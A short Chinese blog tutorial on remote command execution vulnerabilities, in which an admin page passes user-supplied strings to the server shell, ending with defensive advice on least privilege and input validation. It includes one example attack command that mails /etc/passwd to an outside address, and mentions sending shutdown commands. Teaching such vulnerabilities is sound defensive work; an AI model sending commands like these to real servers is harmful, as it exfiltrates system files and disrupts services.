【常见Web应用安全问题】---3、Code Execution
常见Web应用安全问题安全性问题的列表: 1、跨站脚本攻击(CSS or XSS, Cross Site Scripting) |
远程命令执行(code execution)
先不解释它的概念,我们先假设这样一个用户使用场景:
有一个站点的管理入口功能非常强大,大到什么程度呢?可以重启Web服务器。
你能想出来它是如何实现的吗?我们知道不管是PHP还是JSP,我们都可以在服务器通过Shell调用系统(Linux or Windows)命令,等命令执行后,将执行结果返回给客户端。其实我们通过Web Page的管理入口管理服务器端的各种服务就是通过类似这种渠道完成的。
这里会有什么问题?比如我们要重启apache,假如系统是通过这个命令来完成的:
/$path/./apche -restart
这里的$path是Web应用程序的基准路径(比如:apache上的documentroot),它的实现方式是这样的:通过用户浏览器客户端传送一个命令串给Web server,web server通过调用shell来执行传过来的命令。
试想,如果我通过浏览器客户端强行传送一个:restart, shutdown之类的命令给server,结果会是什么样子?
这只是起一个小小的破坏作用,那如果我传送一个:mail abc@abc.abc </etc/passwd,执行结果是什么?
结果是将linux系统的passwd文件(linux系统用户信息)发送到指定的邮箱abc@abc.abc。是不是很可怕呢?
这就是远程命令执行漏洞的一个小小的典型例子。
至于它的更深远的安全隐患在哪里还需要你有更多的相关基础知识才能够得以深入理解和运用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相关的使用技能)。
总结一下:远程命令执行漏洞一般发生在Web系统允许用户通过Web应用接口访问与管理Web服务器且没有经过严格的输入验证与过滤的情况下的一种Web应用安全漏洞。
简要的解决方案:
1、严格限制运行Web服务的用户权限。
就是说你的Web应用可以访问你的服务器系统的用户权限。一般情况一下,我们应该以白名单的形式介定Web应用可以访问服务器系统的权限。这样控制可以从系统级达到安全防范的效果。
2、严格执行用户输入的合法性检查。
这里的输入不一定是你通过表单从键盘输入,往往是Web应用已经内定了某一些操作供您选择,而此时你可以通过Http抓包的方式获取Http请求信息包经改装后重新发送。
详细理解这一部分,请关注我后续将来介绍的《Web工作原理》部分的Http协议原理。
本文来自:http://blog.csdn.net/iwebsecurity/article/details/1693877